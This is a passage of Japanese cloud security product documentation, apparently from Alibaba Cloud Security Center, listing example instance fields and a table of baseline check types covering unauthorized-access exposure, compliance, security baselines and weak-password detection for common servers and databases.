プロセス権限です。

rwxrwxrwx

instance_id

インスタンス ID です。

i-wz995eivg2****

internet_ip

パブリック IP アドレスです。

192.0.2.1

intranet_ip

プライベート IP アドレスです。

172.16.0.1

instance_name

インスタンス名です。

aegis-test

platform

オペレーティングシステムの種類です。

Linux

タイプ名

サブタイプ名

説明

hc_exploit

hc_exploit_redis

高リスクの脅威エクスプロイト：Redis への不正アクセス

hc_exploit

hc_exploit_activemq

高リスクの脅威エクスプロイト：ActiveMQ への不正アクセス

hc_exploit

hc_exploit_couchdb

高リスクの脅威エクスプロイト：CouchDB への不正アクセス

hc_exploit

hc_exploit_docker

高リスクの脅威エクスプロイト：Docker への不正アクセス

hc_exploit

hc_exploit_es

高リスクの脅威エクスプロイト：Elasticsearch への不正アクセス

hc_exploit

hc_exploit_hadoop

高リスクの脅威エクスプロイト：Hadoop への不正アクセス

hc_exploit

hc_exploit_jboss

高リスクの脅威エクスプロイト：JBoss への不正アクセス

hc_exploit

hc_exploit_jenkins

高リスクの脅威エクスプロイト：Jenkins への不正アクセス

hc_exploit

hc_exploit_k8s_api

高リスクの脅威エクスプロイト：Kubernetes API サーバーへの不正アクセス

hc_exploit

hc_exploit_ldap

高リスクの脅威エクスプロイト：LDAP (Windows) への不正アクセス

hc_exploit

hc_exploit_ldap_linux

高リスクの脅威エクスプロイト：OpenLDAP (Linux) への不正アクセス

hc_exploit

hc_exploit_memcache

高リスクの脅威エクスプロイト：Memcached への不正アクセス

hc_exploit

hc_exploit_mongo

高リスクの脅威エクスプロイト：MongoDB への不正アクセス

hc_exploit

hc_exploit_pgsql

高リスクの脅威エクスプロイト：PostgreSQL ベースラインへの不正アクセス

hc_exploit

hc_exploit_rabbitmq

高リスクの脅威エクスプロイト：RabbitMQ への不正アクセス

hc_exploit

hc_exploit_rsync

高リスクの脅威エクスプロイト：rsync への不正アクセス

hc_exploit

hc_exploit_tomcat

高リスクの脅威エクスプロイト：Apache Tomcat AJP ファイルインクルードの脆弱性

hc_exploit

hc_exploit_zookeeper

高リスクの脅威エクスプロイト：ZooKeeper への不正アクセス

hc_container

hc_docker

Alibaba Cloud 標準：Docker セキュリティベースラインチェック

hc_container

hc_middleware_ack_master

国際的なセキュリティのベストプラクティス：Kubernetes (ACK) マスターノードのセキュリティベースラインチェック

hc_container

hc_middleware_ack_node

国際的なセキュリティのベストプラクティス：Kubernetes (ACK) ノードのセキュリティベースラインチェック

hc_container

hc_middleware_k8s

Alibaba Cloud 標準：Kubernetes マスターのセキュリティベースラインチェック

hc_container

hc_middleware_k8s_node

Alibaba Cloud 標準：Kubernetes ノードのセキュリティベースラインチェック

cis

hc_suse 15_djbh

MLPS レベル 3：SUSE 15 コンプライアンスベースラインチェック

cis

hc_aliyun_linux3_djbh_l3

MLPS レベル 3：Alibaba Cloud Linux 3 コンプライアンスベースラインチェック

cis

hc_aliyun_linux_djbh_l3

MLPS レベル 3：Alibaba Cloud Linux/Aliyun Linux 2 コンプライアンスベースラインチェック

cis

hc_bind_djbh

MLPS レベル 3：Bind コンプライアンスベースラインチェック

cis

hc_centos 6_djbh_l3

MLPS レベル 3：CentOS Linux 6 コンプライアンスベースラインチェック

cis

hc_centos 7_djbh_l3

MLPS レベル 3：CentOS Linux 7 コンプライアンスベースラインチェック

cis

hc_centos 8_djbh_l3

MLPS レベル 3：CentOS Linux 8 コンプライアンスベースラインチェック

cis

hc_debian_djbh_l3

MLPS レベル 3：Debian Linux 8/9/10 コンプライアンスベースラインチェック

cis

hc_iis_djbh

MLPS レベル 3：IIS コンプライアンスベースラインチェック

cis

hc_informix_djbh

MLPS レベル 3：Informix コンプライアンスベースラインチェック

cis

hc_jboss_djbh

MLPS レベル 3：JBoss コンプライアンスベースラインチェック

cis

hc_mongo_djbh

MLPS レベル 3：MongoDB コンプライアンスベースラインチェック

cis

hc_mssql_djbh

MLPS レベル 3：SQL Server コンプライアンスベースラインチェック

cis

hc_mysql_djbh

MLPS レベル 3：MySQL コンプライアンスベースラインチェック

cis

hc_nginx_djbh

MLPS レベル 3：Nginx コンプライアンスベースラインチェック

cis

hc_oracle_djbh

MLPS レベル 3：Oracle コンプライアンスベースラインチェック

cis

hc_pgsql_djbh

MLPS レベル 3：PostgreSQL コンプライアンスベースラインチェック

cis

hc_redhat 6_djbh_l3

MLPS レベル 3：Red Hat Linux 6 コンプライアンスベースラインチェック

cis

hc_redhat_djbh_l3

MLPS レベル 3：Red Hat Linux 7 コンプライアンスベースラインチェック

cis

hc_redis_djbh

MLPS レベル 3：Redis コンプライアンスベースラインチェック

cis

hc_suse 10_djbh_l3

MLPS レベル 3：SUSE 10 コンプライアンスベースラインチェック

cis

hc_suse 12_djbh_l3

MLPS レベル 3：SUSE 12 コンプライアンスベースラインチェック

cis

hc_suse_djbh_l3

MLPS レベル 3：SUSE 11 コンプライアンスベースラインチェック

cis

hc_ubuntu 14_djbh_l3

MLPS レベル 3：Ubuntu 14 コンプライアンスベースラインチェック

cis

hc_ubuntu_djbh_l3

MLPS レベル 3：Ubuntu 16/18/20 コンプライアンスベースラインチェック

cis

hc_was_djbh

MLPS レベル 3：WebSphere Application Server コンプライアンスベースラインチェック

cis

hc_weblogic_djbh

MLPS レベル 3：WebLogic コンプライアンスベースラインチェック

cis

hc_win 2008_djbh_l3

MLPS レベル 3：Windows 2008 R2 コンプライアンスベースラインチェック

cis

hc_win 2012_djbh_l3

MLPS レベル 3：Windows 2012 R2 コンプライアンスベースラインチェック

cis

hc_win 2016_djbh_l3

MLPS レベル 3：Windows 2016/2019 コンプライアンスベースラインチェック

cis

hc_aliyun_linux_djbh_l2

MLPS レベル 2：Alibaba Cloud Linux/Aliyun Linux 2 コンプライアンスベースラインチェック

cis

hc_centos 6_djbh_l2

MLPS レベル 2：CentOS Linux 6 コンプライアンスベースラインチェック

cis

hc_centos 7_djbh_l2

MLPS レベル 2：CentOS Linux 7 コンプライアンスベースラインチェック

cis

hc_debian_djbh_l2

MLPS レベル 2：Debian Linux 8 コンプライアンスベースラインチェック

cis

hc_redhat 7_djbh_l2

MLPS レベル 2：Red Hat Linux 7 コンプライアンスベースラインチェック

cis

hc_ubuntu_djbh_l2

MLPS レベル 2：Ubuntu 16/18 コンプライアンスベースラインチェック

cis

hc_win 2008_djbh_l2

MLPS レベル 2：Windows 2008 R2 コンプライアンスベースラインチェック

cis

hc_win 2012_djbh_l2

MLPS レベル 2：Windows 2012 R2 コンプライアンスベースラインチェック

cis

hc_win 2016_djbh_l2

MLPS レベル 2：Windows 2016/2019 コンプライアンスベースラインチェック

cis

hc_aliyun_linux_cis

国際的なセキュリティのベストプラクティス：Alibaba Cloud Linux/Aliyun Linux 2 セキュリティベースラインチェック

cis

hc_centos 6_cis_rules

国際的なセキュリティのベストプラクティス：CentOS Linux 6 セキュリティベースラインチェック

cis

hc_centos 7_cis_rules

国際的なセキュリティのベストプラクティス：CentOS Linux 7 セキュリティベースラインチェック

cis

hc_centos 8_cis_rules

国際的なセキュリティのベストプラクティス：CentOS Linux 8 セキュリティベースラインチェック

cis

hc_debian 8_cis_rules

国際的なセキュリティのベストプラクティス：Debian Linux 8 セキュリティベースラインチェック

cis

hc_ubuntu 14_cis_rules

国際的なセキュリティのベストプラクティス：Ubuntu 14 セキュリティベースラインチェック

cis

hc_ubuntu 16_cis_rules

国際的なセキュリティのベストプラクティス：Ubuntu 16/18/20 セキュリティベースラインチェック

cis

hc_win 2008_cis_rules

国際的なセキュリティのベストプラクティス：Windows Server 2008 R2 セキュリティベースラインチェック

cis

hc_win 2012_cis_rules

国際的なセキュリティのベストプラクティス：Windows Server 2012 R2 セキュリティベースラインチェック

cis

hc_win 2016_cis_rules

国際的なセキュリティのベストプラクティス：Windows Server 2016/2019 セキュリティベースラインチェック

cis

hc_kylin_djbh_l3

MLPS レベル 3：Kylin コンプライアンスベースラインチェック

cis

hc_uos_djbh_l3

MLPS レベル 3：UOS コンプライアンスベースラインチェック

hc_best_security

hc_aliyun_linux

Alibaba Cloud 標準：Alibaba Cloud Linux/Aliyun Linux 2 セキュリティベースラインチェック

hc_best_security

hc_centos 6

Alibaba Cloud 標準：CentOS Linux 6 セキュリティベースラインチェック

hc_best_security

hc_centos 7

Alibaba Cloud 標準：CentOS Linux 7/8 セキュリティベースラインチェック

hc_best_security

hc_debian

Alibaba Cloud 標準：Debian Linux 8/9/10 セキュリティベースラインチェック

hc_best_security

hc_redhat 6

Alibaba Cloud 標準：Red Hat Linux 6 セキュリティベースラインチェック

hc_best_security

hc_redhat 7

Alibaba Cloud 標準：Red Hat Linux 7/8 セキュリティベースラインチェック

hc_best_security

hc_ubuntu

Alibaba Cloud 標準：Ubuntu セキュリティベースラインチェック

hc_best_security

hc_windows_2008

Alibaba Cloud 標準：Windows 2008 R2 セキュリティベースラインチェック

hc_best_security

hc_windows_2012

Alibaba Cloud 標準：Windows 2012 R2 セキュリティベースラインチェック

hc_best_security

hc_windows_2016

Alibaba Cloud 標準：Windows 2016/2019 セキュリティベースラインチェック

hc_best_security

hc_db_mssql

Alibaba Cloud 標準：SQL Server セキュリティベースラインチェック

hc_best_security

hc_memcached_ali

Alibaba Cloud 標準：Memcached セキュリティベースラインチェック

hc_best_security

hc_mongodb

Alibaba Cloud 標準：MongoDB 3.x セキュリティベースラインチェック

hc_best_security

hc_mysql_ali

Alibaba Cloud 標準：MySQL セキュリティベースラインチェック

hc_best_security

hc_oracle

Alibaba Cloud 標準：Oracle 11g セキュリティベースラインチェック

hc_best_security

hc_pgsql_ali

Alibaba Cloud 標準：PostgreSQL セキュリティベースラインチェック

hc_best_security

hc_redis_ali

Alibaba Cloud 標準：Redis セキュリティベースラインチェック

hc_best_security

hc_apache

Alibaba Cloud 標準：Apache セキュリティベースラインチェック

hc_best_security

hc_iis_8

Alibaba Cloud 標準：IIS 8 セキュリティベースラインチェック

hc_best_security

hc_nginx_linux

Alibaba Cloud 標準：Nginx セキュリティベースラインチェック

hc_best_security

hc_suse 15

Alibaba Cloud 標準：SUSE Linux 15 セキュリティベースラインチェック

hc_best_security

tomcat 7

Alibaba Cloud 標準：Apache Tomcat セキュリティベースラインチェック

weak_password

hc_mongodb_pwd

弱いパスワード：MongoDB ログインの弱いパスワード検出 (バージョン 2.x)

weak_password

hc_weakpwd_ftp_linux

弱いパスワード：FTP ログインの弱いパスワードチェック

weak_password

hc_weakpwd_linux_sys

弱いパスワード：Linux システムログインの弱いパスワードチェック

weak_password

hc_weakpwd_mongodb 3

弱いパスワード：MongoDB ログインの弱いパスワード検出

weak_password

hc_weakpwd_mssql

弱いパスワード：SQL Server データベースログインの弱いパスワードチェック

weak_password

hc_weakpwd_mysql_linux

弱いパスワード：MySQL データベースログインの弱いパスワードチェック

weak_password

hc_weakpwd_mysql_win

弱いパスワード：MySQL データベースログインの弱いパスワードチェック (Windows)

weak_password

hc_weakpwd_openldap

弱いパスワード：OpenLDAP ログインの弱いパスワードチェック

weak_password

hc_weakpwd_oracle

弱いパスワード：Oracle ログインの弱いパスワード検出

weak_password

hc_weakpwd_pgsql

弱いパスワード：PostgreSQL データベースログインの弱いパスワードチェック

weak_password

hc_weakpwd_pptp

弱いパスワード：pptpd サービスログインの弱いパスワードチェック

weak_password

hc_weakpwd_redis_linux

弱いパスワード：Redis データベースログインの弱いパスワードチェック

weak_password

hc_weakpwd_rsync

弱いパスワード：rsync サービスログインの弱いパスワードチェック

weak_password

hc_weakpwd_svn

弱いパスワード：SVN サービスログインの弱いパスワードチェック

weak_password

hc_weakpwd_tomcat_linux

弱いパスワード：Apache Tomcat コンソールの弱いパスワードチェック

weak_password

hc_weakpwd_vnc

弱いパスワード：VNC Server の弱いパスワードチェック

weak_password

hc_weakpwd_weblogic

弱いパスワード：WebLogic 12c ログインの弱いパスワード検出

weak_password

hc_weakpwd_win_sys

弱いパスワード：Windows システムログインの弱いパスワードチェック